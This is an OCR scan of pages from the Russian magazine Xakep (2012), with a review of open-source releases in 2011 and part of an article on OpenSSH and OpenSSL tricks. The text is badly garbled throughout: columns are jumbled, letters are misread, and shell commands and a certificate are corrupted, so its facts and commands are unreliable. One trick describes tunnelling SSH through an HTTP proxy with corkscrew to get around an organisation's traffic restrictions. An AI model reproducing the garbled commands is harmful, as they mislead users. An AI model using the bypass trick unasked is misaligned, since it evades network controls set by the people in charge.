Empathy появилась функция блокировки спама, Evince обзавелся возможностью создавать закладки, Еуе 01 GNOME теперь

Dislrowalch

под

- 4.6

и

Поддержка

4.7. Самые

интересные фичи,

OpenGL Е5 2.0 в Kwin,

что

позволяет запускать КОЕ на мобильных устройствах. Кодсамого

ipset- компонент

Kwin был

местами

серьезно оптимизирован .

пеtliltег, предназначенный для обработки

в версии

больших списков IP/MAC-аАресов и ТСР/

исправить некоторые недочеты и добавили

назначенный для устройств с сенсорными

UОР-портов .

новые фичи:

экранами.

Функция

Wake оп WLAN для

беспроводного

разработчики попытались

Gnome 3.2

Тесная интеграция с различными

Проект

Google Calendar, а

сдокументами-Gооglе

важных нововведений:

пред­

зультате которого упростилось добавление

в программе для работы

Для обычных десктопов тоже появилась пара

Plasma Active- интерфейс,

Развитие механизма комнат IActivitiesl, в ре­

web-

сервисами: в календаре поддерживается

адаптера.

файлаилиприложениявопределенную

Activity Ic помощью контекстного меню ря­

Oocs.

Системауправленияцветовымипрофилями

дом с заголовком окнаl и появилась возмож­

С целью повышения интерактивности

и виртуальная клавиатура.

ностьзапускатьопределенныеприложения

планировщик задач получил возможность

Оптимизациядля использования на план­

при переключении на

оперировать группами процессов 'а не от­ дельными процессамиl, которые объеди­ нены по sеssiоп

10. Таким

make

Activity.

Поддержка 51Р в

Новые плагины Iдля работы с 5QL и для взаимодействия с GOBI дЛЯ текстового

Поддержка

редактора

к файлам

Из

шетах .

образом, теперь

запуск большого количества потоков

Empathy. Apple Filing Protocol для доступа на ОС oTApple.

не повесит браузер. Чтобы включить эту

Kate. Gwenview и Ksnapshot теперь можно

легко выгрузить изображения во внешние

функцию, следует записать «1» в /p roc/sys/ ke г nе I/sc hе d_ а utog го u р _ е па Ь Iе d.

Gnome2

названием Mate Oesktop Environment IMOEI.

поддерживает плагины .

В состав ядра включен

поддержка

Gnome3

прекратилась, но нашлись энтузиасты, которые

с восторгом Iнапример, Торвальдс сказал, что

696.

ТОР10 дистрибутивов по версии

Java5cript extensions .gnome.org

у

есть один несомненный плюс-

Gnome3

сервисы .

Добавлены специальные таймеры, по ­ ,,·,~'7~""""~_·'·"

зволяющие выводить ОС из спящего режима в заданное время.

!

"

tc,

\

~.~

1\<

':1 ,-

',,'Jk

т

Параллельно с ванильным ядром обновля­ oefault

ются также патчи, которые пока в него не вхо­

...

-'I~

...

l'

\.~

Тime-s H~

t'~;J

Roman

J

12

дят. В ветке «-rt» IRealtimel ветке, которая превращает Liпu х в ОС реального времени,

появились патчи для Liпuх 3.0 Iпредыдущие 2.6.331. Сильно

патчи базировались на версии доработанные

HOBbie

патчи затрагивают почти

в два раза меньше файлов, что позволяет

Libre-Office 3.4.1

надеяться на скорое слияние веток. Для по­

00034Om1 (Build:103)

следнего стабильного

Copyrtght О 2000, 2010 llbreOffke cont:ributors and/or thelr affiUatn. АtI rlghts r6erv~ .

Linux 3.1

также вышел

патч рl-kегпеl, который не только включает

в себя обычный планировщик процессов планировщик ввода-вывода

BFQ

Тhis. product was creatr<t Ьу Ubuntu. ba~ оп Op~Orfice.or9 , which 15 Copyright 2000, 2010 ОПldе andJor its аrrШ..,trs .

BF5,

Vbuntu асltпоwlсЮgrs atl communlty membfl's, plea~ find тоге lofo ~t the Unk betow:

и систему

гибернации ТuхОпlcе , но и снижает энергопо­

требление до уровня

Linux 2.6.3710 чем много phoroni x. com l. В соответствии с принципом Release early, release olten новые версии Linu x выходят в среднем четыре раза писали на

CQпtrtЬчtQгшditt

в год. Это нравится конечным пользователям, но не устраивает компании, производящие

ус тройства под управлением

Linux, поэтому Linu x Foundation в 2011 году запустила про­ грамм у Long Тегт 5upport Initiative ILT511 . Эта программа предусматривает выпуск обновле-

106

LibreOffice 3.4.1

из дистрибутива

Ubunlu «Oneiric Ocelol»

ХАКЕР

02/157/2012


Победы и поражения ореп

source -

2011

Отказ от использования

HAL. Zeitgeist (механизм для отсле­

Поддержка

живания активности пользователяl. Существенно ускорена работа

Nepomuk. VPN и NetworkManager 0.9 с поддержкой 3G. Перевод всех компонентов Kontact 5uite на Akonadi. Интеграция

КОМ теперь умеет взаимодействовать с

Grub, что позволяет перезагрузиться бой пункт Grub прямо из КОМ . Поддержка Руthоп в Kdevelop. •

в лю­ $t)'Ie: ~

Функция распознавания лиц в каталогиза­

•• --

~6dCL I ~

торе фотографий digiKam (к примеру, для автоматической расстановкитеговl. Тем не менее, как бы ни был хорош КОЕ4, довольно много поклонников еще осталось

Linux Mint 12

у КОЕ3 , точнее, уже у его форка Тгiпitу, который вполне нормально развивается , потихоньку

СаЙт Ьасkро г ts . огg , на котором можно найти

пока только синхронизировать файлы и ав­

переползая на

пакеты с новыми версиями ПО для старых

томатически добавлять в

Qt4 .

Также обновились многие связанные с

и пере ехал на Ьасkрогts.dеЫап.огg .

проекты:

пришел на смену ОрепОffiсе,

Новые версии ОеЫап появляются редко,

LibreOffice

позтому выход каждой превращается в боль­

медиапроигрыватель

х осте.

шое событие (шутка ли

Necessitas (порт а! на Androidl обновлялся

дания дистрибутива вышла только версия

позволяю­

несколькоразза год, однако пока остается

в статусе

alpha.

ДИСТРИБУТИВЫ Ка ж дый год количество дистрибутивов

Linux

не у клонно растет: появляются новые, обнов­ ля ю тся старые.

Так, в начале

2011

года один из самых старых

и уважаемых дистрибутивов,

Debian,

вал нас новым релизом под номером вое имя

Squeezel.

Использование

' становки в приложениях по у молчанию:

щий установить сер верную часть на своем

LAMP и

порадо­

6 (кодо­

Основные нововведения:

официальных сайтов, начиная с dеЫап.огg .

Banshee заменил Evo lution з анял Thunderbird, дисплейный менеджер LightDM вытеснил GDM , удалены 5ynaptic и PiTIVi, добавлена удобная утилита Deja Dup для резервного копирования. Кроме обычного LiveCD (кото­

В прошлом году периодически поднимал-

рый, кстати , теперь гибридныйl, появилась

ся вопрос о создании

DVD-версия с расширенной локализацией,

- через 18 лет соз­

под номером 61. в честь этого был обновлен дизайн (который не менялся 13 летl всех

rolling release

ветки

Rhythmbox,

место

DеЫап (бесконечно обновляемого на манер

полной версией

Gentoo или Arch Liпuхl. В результате появил­ ся проект ОеЫап CUT (Сопstапtlу UsabIe Testing) с ежемесячными срезами тестового

и

Чтобы обосноваться на рынке серверов,

репозитория, но статус проекта пока еще

Canonical затратила

не понятен .

следующих новшеств:

Самый известный последователь

Grub2 по умолчанию .

фото с камеры.

Кроме того, произошли существенные пере­

Вышел оwпСlоud 2-свободный аналог

ОгорЬо х, написанный на

U1

релизов, признан официальным сервисом

KDE

Debian,

Pitivi.

LibreOffice,

Iпksсаре,

GIMP

В семейство UЬuпtu официально во­

шла LuЬuпtu с

UЬuпtu

LXDE. немало сил на разработку

ARM 5erver Еditiоп -специальная

версия для серверов на ARM !сейчас это

Параллельный запуск !с учетом зависимо­

Ubuntu,

стейl iпit-скриптов при старте.

новыми релизами:

Прекращена поддержка звуковой подсисте­

и

мы

работчиков были сосредоточены на следую­

«Облачная » платформа Ореп5tасk для за­

щих нововведениях:

мены

055.

Улучшена поддержка

Dpkg

IPv6.

научился понимать формат архивов

XZ, в Perl

строго по графику обзавелся двумя

11.04 (Natty Narwhall 11.10 (Oneiric Ocelotl. Основные усилия раз­

модный тренд , хотя успешных коммерчески х

реализаций пока не видноl.

Eucalyptus.

Unity !собственная надстройка над Gпоmе31

Проекты Orchestra (коллекция управляю­

стала ОЕ по умолчанию не только для нетбу­

щих сервисов серверной инфраструктуры,

для работы .

ков, но и для десктопов .

которые быстро и просто разворачиваются)

Количество пакетов в репозиториях пре­

В менеджере приложений

высило

появились рейтинги и отзывы , а также

стал быстрее и больше не нуждается

29 тысяч. Согласно приведенной разработчиками статистике, около 63 % всех

50ftware Center

и

Juju (отвечает за запуск определенных

сервисов для пользователей).

возможностьпротестироватьприложение

Liпuх-дистрибутивов основано на пакетной

передустановкой(правда,покаподдер­

базе

живаются далеко не все приложения, а для

за прошедший год, Uпitу, не могло не снизить

Debian.

Самое спорное нововведение в

Ubuntu

Новые версии всего подряд-Liпuх 2.6.32

тестирования необходим пакетqtпхl. Теперь

популярность дистрибутива

(из которого убраны все несвободные прошив­

можносинхронизироватьспискиустанов­

мере, на

киl, GCC 4 . 4 . 5,Хеп 4.0.1, X.Org 7.5, КОЕ5С 4.4.5, GNOME 2.30, Xfce 4.6, ОрепОffiсе.огg 3.2.1.

ленныхприложениЙмеждукомпьютерами.

на второе место в рейтинге. Первое место

Количествоплатныхприложениймедленн~

с большим отрывом занял Liпuх

Интеграция СопsоlеКit (управление сессия­

но верно растет. Кроме того, добавились

ванный на

миl и PolicyKit (предоставление расширен­

книги и журналы.

distrowatch .com

-

по крайней

UЬuпtu опустилась

ства в « облачном» хранилище UЬuпtu Опе

Mint (осно­ Ubuntul, который также обза­ велся двумя релизами в прошлом году - 11 (кодовое имя Katya, основан на Ubuntu 11.04) и 12 (Lisa на базе UЬuпtu 11.101 . Мiпt стара­

150-0бразыинсталляторовтеперьгибрид­

увеличен с 2до 5 Гб (за $2,99 в месяц или

ется не отпугивать пользователей непри­

ные , благодаря чему их можно записать

dd.

$29,99 в год можно получитьдополнитель­ ные 20 Гб). Кстати, в середине прошлого

5hell

версия на ядре

года сервис перешагнул рубеж в миллион

К тому же версия поддерживает

пользователей. Также вышел официальный

Епviгопmепt

ных правдоступаl . Полная поддержка

Объем бесплатного дискового простран­

DN55EC.

на флешку с помощью простого

DеЫап GNU!kFreeB5D -

FreeB5D. Доступны 32сборки.

ХАКЕР

02/157/2012

и 64-разрядные

клиент для Апdгоid, который, правда, умеет

вычным интерфейсом, поэтому даже Gпоmе в последней версии похож на

-

Gnome2 . Mate Desktop

форк Gпоmе2.

Перед тем как начинать разработку сле-

107


UNIXOID дующего релиза, Сапопiсаl про водит встречу

интегрированной карты.

разработчиков

Постепенный отход от использования

-

UЬuпtu

Developer Summit,

благодаря которой мы можем узнать, чего

ждать от последующих версий дистрибутива .

Диспетчер служб и сеансов

чинаются с 1000для обеспечения совмести­

ОрепВSD пережил два релиза:

Увеличить срок поддержки dеsktор-версии

мости с другими дистрибутивами и расшире­

жорный, несмотря на нумерациюl. В число

до пяти лет, а кроме того, в течение первых

ния диапазона

основных изменений входят поддержка

нам

UID/GID для сервисов.

NI,

новых железок Iпо-моему, очень хорошая

Несмотря на опасения, вызванные прода­

идеяl.

жей компании

Рекомендоватьиспользованиепоумолча­

зтот факт пока не сказался

нию 64-разрядной версии.

выпущено два релиза:

Увеличить объем

изменениям относятся переход на iпit-демон

на разработке орепSUSЕ

- в 2011 году было 11.4 и 12.1. К значимым

AES4 Гб ОЗУ и больше 64 Wake оп LAN, устранение

поддержка больше

процессорных ядер,

некоторых потенциальных проблем с безопас­ ностью .

Как бы ни хотелось рассказать про много­ численные успехи Liпuх на рынке мобильных

systemd,

менить ТотЬоу на Gпоtе, чтобы удалить Мопо

управления снапшотами btгfs и « облачного»

увы, получится коротким. Единственный пред­

с

хранилища оwпСlоud.

ставитель семейства Liпuх -

LiveCO.

внедрение инструмента Sпаррег для

ВSD-системы в ушедшем году не отличи­

Доработать Uпitу для улучшения работы

лись большим количеc:rвом релизов. В вось­

устройств Iтелефонов и планшетовl, рассказ,

Апdгоid 'К концу

прошлого года количество устройств под его

управлением превысило 200 миллионовl,

мой ветке FгeeBSD улучшен Хеп, реализована

который с некоторой натяжкой можно считать

на

новая версия

открытым, может похвастать двумя мажорны­

альными машинами.

Включить в стандартную поставку какое­

ции Iмеханизм для зкономии места на диске засчетпоискадубликатовблоко~,ускорено шифрование/дешифрование AES благодаря

нибудь приложение-календарь Iвозможно, зто будет Lightпiпg - плагин к ТhuпdегЫгdl.

использованию специального набора инструк­

и телефоновl .

ций

Исходные коды ОС были полностью открыты

Оптимизировать

KVM для улучшения

работы

ARM, добавить поддержку протокола SPICE, разработанного для связи с вирту­

В

2011

с поддержкой дедуплика­

Вбазовуюсистемудобавленкомпилятор

Fedora: 15

ILovelockl и 16lVегпеl. Основные новшества:

Обновление загрузчика до

ZFS

AES-NI в современных процессорах. Changelog FreeBSD 9 значительно интереснее:

году также вышли две версии само­

го известного RРМ-дистрибутива,

GRUB2.

Обновленный интерфейс-новая панель

Система управления RАID-массивами

Встроенное приложение для контроля тра­

ataгaid заменена на

фика, позволяющее заблокировать доступ

graid, основанную

экрана

теперь используется ВSDlпstаll.

Поддержка протокола

SPICE в Virt Мапаgег.

в сеть для определенного приложения.

Face Uпlосkдля

разблокирования

Стандартный диспетчер задач, который

ограничивать ресурсы ICPU, тетогу и дру­

умеетзавершатьприложения .

гиеl для процессов, пользователей или

Стандартныесредствадлясозданияскрин ­

Jail. Capsicum

сов: теперь имя зависит оттипа сетевой карты и имеет вид р<slоt_пumЬег>р<рогt_

для помещения процессов 'втом числе разных процессов одного приложенияl

пumЬег> для

визолированныеокружения.

Популярность брауэеров в мире по версии

Функция

Добавлен инструмент RCTL, позволяющий

Появилась поддержка технологии

или еm<рогt_пumЬег> для

экрана с помощью своего лица .

Изменения в названиях сетевых интерфей­

PCI

вертой версии. Ос но вные нововведения: уведомлений, новые шрифты .

Вкачестве инсталлятора по умолчанию

отдельные правила без перезагрузки всей

году: вер­

ТОЛЬКО ближе К концу года, после выхода чет­

GCc.

HaGEOM .

позволяющего менять

2011

стью заменить

Поддержка динамического межсетевого

firewalld,

ми релизами, выпущенными в

сией 3 Iпредназначена только для планшетовl и версией 410бъединенная, для планшетов

Сlапg, который может практически полно­

Замена Gпоmе2 на Gпоmе3.

таблицы.

108

Novell,

BHyVe. 4.9 и 5.0 'не ма­

LiveCO до 750 Мб. Вернуть Rhythmbox на место Вапshее и за­

на нескольких мониторах.

Также большим событием для FгeeBSD стало появление нового гипервизора

12.04 LTS (Lопg Term Support)

двухлетбзкпортироватьвядродровадля

USB3.0.

в приложениях .

обещают:

Добавлен новый USВ-драйвер с поддержкой

systemd. UID и GID нового пользователя теперь на­

В версии

• setuid

шотов экрана .

Оптимизации браузера с введением новых

фишек Iвозможность изменить Useг Аgепt, синхронизация закладок с Google Chгomel.

StatCounter

ХАКЕР

02 / 157/ 2012


Победы и поражения ореп

source -

2011

Основные фичи , которыми браузер обза­ велся за год:

WеЬGLвключен по умолчанию.

• •

Ускорение за счет обновления JavaScriptдвижка .

Ускорение воспроизведения видео, осу­

ществляемоесредствамивидеокарты.

Настройки браузера переехали из отдель­ ныхоконвовкладки.

Механизма голосового заполнения форм

[голос распознается на серверах

Googlel . Flash Cookie. Возможность сохранять страницу в POF. Возможность очищать

Лого

OpenBSD 5.0

ПоддержкаАРllпdехеdОВ .

Технология

• Не ус пел

Nokia N9,

первый и последний

смартфон под у правлением многострадального

MeeGo,

появиться на рынке, как было принято

решение заменить

Tiz en,

новой платформой

MeeGo

рения .

тически без потери производительности

Добавлен новый НТТР-заголовок

00 Not

по сравнению с системными приложениями .

после получения которого сайт дол­

жен прекратить слежку за пользователем . :1

По данным StаtСоuпtег, в ко н це прошлого

Плагины теперь выполняются в отдельных

года

Подробностей пока немного [ хо тя первые

процессах, чтобы падающий Flаsh-плагин

ности браузером в мире [после вечного

тестовые версии должны выйти в первом

не ронял весь браузер.

обогнав

HTML5

при разработке п риложений .

позволяющая

выполнять код на С/С++ через браузер прак­

Track,

которая отличается широким использо­

ванием

Native Сliепt,

движкуудалосьдобиться серьезного уско­

Google Chrome

стал вторым по популяр­

IEI,

Firefox.

квартале 2012 - го) , известно только , что раз ­ работкой платформы будут заниматься

Linux

Начиная с пятерки, новые версии выходили

Т О ВЕ CONТlN UED

часто, а серьезных изменений в них было

Немного проанализировав направление раз­

ство отнеслось к новому проекту скептически

немного, поэтому сразу перечислю все новые

вития опенсорсных проектов в прошлом году,

-

фичи в релизах

можно предположить, что нас ждет в · этом .

Foundation

и

LiMo Foundation.

Однако сообще­

его настроение можно охарактеризовать

5-9:

фразой « давайте уже хоть что-нибудь доведем

Исправлены проблемы сутечками памяти .

Продолжается бум мобильных устройств, поз­

до ко нца ».

На странице аЬоut : регmissiопs можно настроить права на сохранение паролей,

тому в низкоуровневых компонентах [типа ядра или GCCI будет улучшаться поддержка ARM,

использование кук и некоторы х

а высокоуровневые обзаведутся интерфейсом,

1#1••11111

За прошедший год все популярные опен­ сорсные браузеры шагнули далеко вперед. Самый большой

у

changelog

оптимизированным для тачскринов .

Добавлена поддержка HTML5-тегов

окончательно стабилизируется и будет исполь­

Для функционирования дополнений, уста­

даже как

в п рошлом году был

FireFox 4:

HTML5-

технологий отдельно для каждого домена.

progress и сопtехtmепu.

Btrfs

зоваться во многих дистрибутивах [возможно, FS по умолчанию) . Flash, наконец,

навливающихся автоматически [например ,

умрет [это уже, правда, мои мечтыl. Также

панель вкладок переехала в самый верх

при установке Skype или Java), теперь требу­

ожидается появление большого количества

итеперьнаходится над адресной строкой.

ется явное разрешение от пользователя.

опенсорсных игр для Liпuх на движке Ооот

Интерфейс приобрел черты

Google Chrome:

Также переработан интерфейс менеджера

дополнений [которыйтеперьоткрывается во вкладке, а не в отдельном окне). Появился инструментWеЬ Сопsоlе [Web Inspectorl- своего рода облегченный вари­

3

и нескольких проприетарных игр на кросс­

Google Chrome,

основной конкурент

Firefo x

платформенны х движках . А еще, говорят,

за звание второго по популярности браузера,

выйдет

в прошедшем году зарелизился семь раз [были

за Нострадамуса, скажу только тебе и по боль­

выпущены версии с 9 по 151.

шому секрету: конца света не будет

GIMP 2.8.

Ну и напоследок , пока я

:I.:::I:

ант Firebug .

Добавлена поддержка в теге

WebM

и коде ка

VP8

<video>. .. J

Синхро низациязакладок ,ис тории,паролей

IGetSoftware I

1"

между несколькими компами теперь осу­

Ubuntu Software Center

ществляется через сервера

Mozilla и доступ­ на «из коробки» [раньше она реализовыва­ лась с помощью дополнения

Firefox Sync).

Д обав лена поддержка WebGL [технология,

Departments

с помощью которой можно получить доступ

к функциям ОрепGL из JavaScriptl .

Добавлена поддержка спецификации Accessorles

APllndexedOB, которая позволяет через JavaScript делать выборки с сортировкой

Fon!>

Games

omce

Sdence&. Ef91eetI1g

scx.rd &. VIdeO

DeVeIOPer TooIs

5yst>m

-,

из интегрированной с web-браузером базы д а нны х.

Добавлена поддержка протокола WеЬ

Sockets для

Themes &ТWea13

организации двусторонней

связи между браузером и web-сервером. П оя вилась страница

about:memory, отобра­

жаю щая подробную информацию отом, как браузер использует ОЗУ. В основном благодаря новому JavaScript-

ХАКЕР

02 / 157/2012

Ubuntu Software Center

109


UNIXOID

Евгений Зобнин lexecbit.ruJ

-

с полным списком команд

OpenSSL

можно ознакомиться с помощью следующих

пара метров: liststandart-commands, list-message-digestcommands,listcipher-commands.

к иптологический и Такие инструменты, как

OPENSSH, О

OpenSSH

и

OpenSSL,

в представлении не нуждаются. Это вечные

друзья любого сисадмина и многих продвинутых пользователей. Однако далеко не все знают об их истинной мощи и возможностях,

накопленных за годы разработки. Сегодня тебе откроется масса интересных способов использования этих программ.

•.'1·0·" OpenSSH,

пришедший на смену дырявому

Telnet, до

сих пор за-

нимает первое место среди систем удаленного управления бла­ годаря безопасности и простоте в использовании. Разобраться

в нем способны все , даже самые хроми рованные чайники, одна­ ко подавляющее большинство пользователей за дей с тв уе т мини­

КОТОРЫХ ТЫ НЕ ЗНАЛ ) openss 1 s_c 1ient -startt Is smtp -сr 1f -connect smtp. gmai 1 . com : 25 СОННЕСТЕО (00000003) depth=l С = US, О = Goog1e Inc, СН = Google Internet Ruthori ty verify error:num=20:unable ta get lоса1 issuer certificate ver i fy return: В Certificate chain В s: /C=US/ST=Cal i forn ia/L=Mauntain View/O=Goog 1е Inc/CN=smtp. gma i 1 . cam i: /C=US/O=Gaogle Inc/CN=Goagle lnternet Ruthori ty 1 s: /C=US/0=Gaog1e Inc/CN=Goog lе Internet Ruthori ty i : /C=US/O=Equ i fax/OU=Equi fax Secure Cert i ficate Ruthori ty Server cert i f icate -----BEGIN CERTlFICRTE----МI 1O,"zCCRsSgRw 1BRg IKaM9uMQRDRRR irTRNBgkqhk i G9wBBRQUFRDBGMQswCQYD VQQGEwJVUzETMBEGR1UEChMKR29vZ2x IIE 1uYzE i MCRGR1UERxMZR29vZ2x 1IE lu dGVybmVB 1EFldGhvcm 1Ве TReFw0xMTRyMTYwNDM~MD laFwBxMjRyMTYwNOQ~MO lа MGgxCzRJBgNVBRYTR 1VTMRMwEQYDVQQ 1EwpDY,"xpZm9ybm 1hMRYwFRYOVQQHEw lН b3VudGFpbiB,"a,"V3MRMwEQYDVQQKEwpHb29nbGUgS'"5jMRcwFQYDVQQDEw5zbXRw Lmd t У'" 1sLmNvb TCBnzRNBg kqhk i G9wBBRQEFRAOB jQRwgYkCg YERzv9SacnXKcRx +BB~yVH2qdp VUXnCkBNv kn /y2Y0nkzF a,"s,"MAkOL TMt sа5уРб9рпs УЬ9 turs~K i L DkRnf7RdSV 1тр 1GRknMRPDYIr ja231 tutuN7Q~EjadsY8Q+NX5u,"j 1PsASBE8Gu 1 9JobE 1~ iGFURfF +2 i OG lwF eFbpCaDJECAwERRaOCRSwwggEoMBBGR 1UdDgQ'"BBQK s t TMUTHcQEpEpgaXuVVXJ е 1Нх jRfBgNVHSMEGDR,"gBS /wDОr9UМRРmебпрН7 /Gr а ~2sSJDВЬВgNVНR8ЕVDВSМFСgТqВМhkроdНRwОi8vd3dЗLmdzdGFВа,"MuY29tL0dv

b2dsZU ludGVybmV0QXV0aG9yaXRSL0dvb2dsZUludGVybmV0QXV0aG9yaXR5LmNy

мум его возможностей . Опустим рассказы о ключах, пробросах портов, проксировании и други х полезны х, но всем известных

110

Используем

OpenSSL для

подключения к

Gmail

ХАКЕР

02/157/2012


Криптологический рай

> ls

-1 68 -rwxr-xr-x 1 -г--г--г-1 -г-хг-хг-х 1 -г--г--г-- 1 -rwxr-xr-x 1 > for f in * ; done > ls -1 UTOrO 136 -rwxr-xr-x 1 -rw-r--r-- 1 -г--г--г-1 -rw-r--r-- 1 -г-хг-хг-х 1 -rw-r--r-- 1 -г--г--г-1 -rw-r--r-- 1 -rwxr-xr-x 1 -rw-r--r-- 1 UTOrO

j1m users 2264 ФеВр. 23 j1m users 36961 ФеВр. 23 j1m users 4119 ФеВр. 23 j1m users 10116 ФеВр. 23 j1m users 921 ФеВр. 23 ; do [ -f $f ] && openss1

j1m j1m j1m j1m j1m j1m j1m j1m j1m j1m

users users users users users users users users users users

2264 2288 36961 36992 4119 4144 10116 10144 921 944

ФеВр.

geK. ФеВр.

geK. ФеВр.

geK. ФеВр.

geK. ФеВр.

geK.

23 1 23 1 23 1 23 1 23 1

2011 2011 2011 2011 2011 епс

insta11.sh ok400pc 1 . ppd rastertookimonochrome readme.pdf uninsta11.sh - aes-256-cbc -sa1t -in $f -out $f.enc -pass pass: 12345

2011 insta11.sh 18:29 i ns t а 11 . sh . епс 2011ok400pc1.ppd 18:290k400pc1.ppd.enc 2011 rastertookimonochrome 18:29 rastertookimonochrome.enc 2011 readme.pdf 18:29 readme.pdf.enc 2011 uninsta11.sh 18:29 uninsta11.sh.enc

>I Шифруем файлы с помощью

OpenSSL

приемах и рассмотрим на самом деле интересные и не слишком

Итак, трюк номер один

OpenSSH

-

*

Host

распространенные способы использования зто го инструмента.

ProxyCommand .corkscrew proxy. сот

ве

%h

%Р...

множественные подключения.

Теперь все соединения пойдут через указанный НТТР-прокси.

способен обслуживать множество одновременных

соединений с одной и той же машиной. Обычно пользователи

просто запускают команду и ждут ее завершения, чтобы за­

Трюк номер четыре

-

тест пропускной способности сети. Чтобы

протестировать скорость соединения, необязательноустанавл и­

пустить следующую . К счастью, эту проблему легко обойти путем

вать специализированное ПО , достаточно у тилиты

разделения одного соединения на множество сессий. Просто

доброго

добавь в конфиг

pv

и старого

SSH:

ssh I-/.ssh/config) следующие строки:

$ sudo apt-get install ру $ yes 1 ру 1 ssh host.com "cat > /dev/null"

ControlMaster auto ControlPath -/.ssh/mux_%h_%p_%r

Трюк номер пять Ты сможешь создать столько соединений с одним и тем же сер­

-

удаленный анализ сете вого трафика. Почти

в любой UNIХ-системе есть сетевой сниффер

tcpdump, однако OpenSSH

вером, сколько посчитаешь нужным, причем время на повторную

читать его лаги довольно утомительно. Возможности

аутентификацию тратить будет не нужно.

могут у простить анализ трафика :

Трюк номер два

-

по­

проксирование соединений. Допустим,

ты не можешь создать соединение с SSH-сервером напрямую,

$ ssh

но можешь использовать для зто го другой хост, К которому ты

root@host L~9m

tcpdump -w - 'port !22' \ _

1 wireshark . -IC.:J -

тоже имеешь SSН-доступ. Добавь в свой конфиг следующие

Теперь весь трафик, проходящий через

строки:

host.com, будет виден wireshark на твоей машине . шесть - передача файлов на низкой скорости.

в графическом окне

Трюк номер

ForwardAgent yes Host host HostName host.com ProxyCommand ssh proxy~host.com \ netcat -q бее %h %р

Иногда бывает необходимо передать большое количество файлов на удаленную машину, но сделать зто так, чтобы процесс не мешал работе с сетью. В этом случае можно воспользоваться инструмен­ том

Команда

ssh host создаст соединение с сервером host .com proxy-host.com. номер три - выход за пределы НТТР-изоляции. Многие

через сервер Трюк

cstream:

$ sudo apt-get install cstream $ tar -cj /backup 1 .cstream -t 512k ssh host . ti;lr ,-xj -С /backup'

1. \

организации не просто режут неугодный им трафик, но и принуж­

дают пользователей выходить в Сеть только с использованием

Трюк номер семь

-

всегда открытая SSН-сессия. Пользовате­

НТТР-протокола. Такую несправедливость легко обойти с помощью

лям ноутбуков, чье соединение с сетью может быть не постоянным,

corkscгew Iwww.аgгоmап . пеt/согksсгеw/J. который умееттуннели­

приходится каждый раз заново запускать SSН-клиент в момент,

ровать SSН-трафик через НТТР. Просто установи его на свою маши­

когда сеть появляется, и убив.ать его при потере соединения.

ну и добавь в конфиг следующие строки Iгде ргоху.сот и 80 адрес внешнего НТТР-прокси и его порт):

Избежать этого можно с помощью инструмента

ХАКЕР

02/157/2012

зто

autossh,

который

будет поддерживать иллюзию постоянного соеди нения с сервером,

111


UNIXOID

) openss1 s_time -connect gmai1.com:443 -www /test.htm1 -new Но CIPHER specified Co11ecting connection statistics for 30 seconds tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt 94 connections in 0.72s; 130.56 connections/user sec, bytes read 38728 94 connections in 31 геа1 seconds, 412 bytes read рег connection ) openss1 s_time -connect gmai1.com:443 -www /test.htm1 -new -ss13 -cipher HIGH Co11ecting connection statistics for 30 seconds 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 93 connections in 0.68s; 136.76 connections/user sec, bytes read 38316 93 connections in 31 геа1 seconds, 412 bytes read рег connection

)I

Делаем бенчмарк SSL-сервера

Gmail

восстанавливая связь. когда сеть окажется доступной:

$ .s.udo .ap:t~ ge:t .. iJ)st.aJ,! mu.1titflJ.1 ..._ ............. _............. $ .mul t:i.:t<!,i,.1...c..l... ~.sshh9S.tl ..".tail .. :.f_..\ ........... _....... _................... .. .. f.l!flr/JQgf.<!p.<!cbe.U e.rror .lqg".' ...:J...:..s.SD... D.Qst~ .. \ .... :'ta.H ...: f.J I!<JTIJQg/<!pache2/error •.1qg::.:

$... suф. apt-gеtJП.st.<!J,J ...,щtоssЬ . $ аutоssh .. с.МSЩ~0е .c.t . s.e r.l!er .. exal1Jple.com \ .. ...· .scT.een...: r:aд.g... !!1}'.s.e.S.~,i,91J :..

Трюк номер Трюк номер восемь

-

запуск команды на нескольких серверах

11 -

копирование файлов с одной удаленной

машины на другую через локальную. В случае если две удаленные машины не могут установить связь друг с другом, файлы между

одновременно. Комментарии излишни:

ними можно передавать, используя свой комп в качестве промежу­

$ ..echo ..:·.uptime.·:....I .. p.e.e . ::~s.h .. ssh hоs.t.З.:: .................... . Трюк номер девять

-

. hщt:J,"

::ssh .h05t2·:.. \ .................

удаленное сравнение файлов. Часто

точного звена:

$ sshr:09t@h.os1:1 .. .. ccj /l<<JтаllОГ .. &&.. 1:аr:_. - .с.f ...::...•.::.. J\ .. ssh rOQt@.Oo.st.2 . "сс! . } катаn.ог ..&& ..tar: ..:xf:...:.................

требуется сравнить локальную и удаленную версию какого-либо конфига, однако копировать файлы туда-сюда неудобно и долго. В этом случае можно воспользоваться следующей командой:

Трюк номер

12 -

копирование вывода удаленной команды

в буфер обмена. Часто требуется скопирова ть в ывод удаленной команды в буфер обмена, чтобы вставить его в письмо, сообще­

$ .s sh LJsеr@.hоst... с<!tJЛУJ:Q/~/уд<!леННОr>1у/фаЙлу .\Ji.ff /nYIbl.l<fllQK<!IH'!J.Q~Y /фi!.ЙЛУ -

'\ ...

То же самое можно проделать для двух файлов, находящихся

ние форума и т . д. Проще всего это сделать с помощью утилиты

xclip:

$ ssЬ .usе.r@.ЬQ.~:t.. j:<!t.. /ф<Jйд.Jхt 1. 1<.c.Hp ............................ .

на разных серверах:

Трюк номер

$ gJ ff < (sSD .. h.os.t1 ...c.<Jt.J e.tc/<!p1:/sources ..l;ist) ..\ ... . . <(s.sh ..hQst2 .. c.a:t. .I.е.1;.Ц<Jрtf.sрurсеs ..1ist) .. ................ .

13 -

синхронизация времени средствами

SSH .

В случае, если машина не имеет доступа к NTP-серверу или на ней

не установлен NТР-клиент, синхро низировать время между маши­ нами можно так :

Трюк номер

10 -

машин. С помощью

одновременный просмотр логов с нескольких

multitail

и

SSH

можно запросто просматривать

логи с двух серверов одновременно:

Трюк номер

14 -

установка пакетов удаленной машины

на локальную. Нередко требуется синхронизиро вать две машины так, чтобы они имели одинаковый набор установленных па кетов .

Стандартными методами сделать зто сложно, но с помощью

SSH

проще простого:

CPUO: RNG AES

~.

Результаты бенчмарка криптографических средств ,

встроенных в

CPU

платформы

VIA Eden

Iпроцессорные

инструкции для работы с алгоритмом блочного симметричного

шифрования

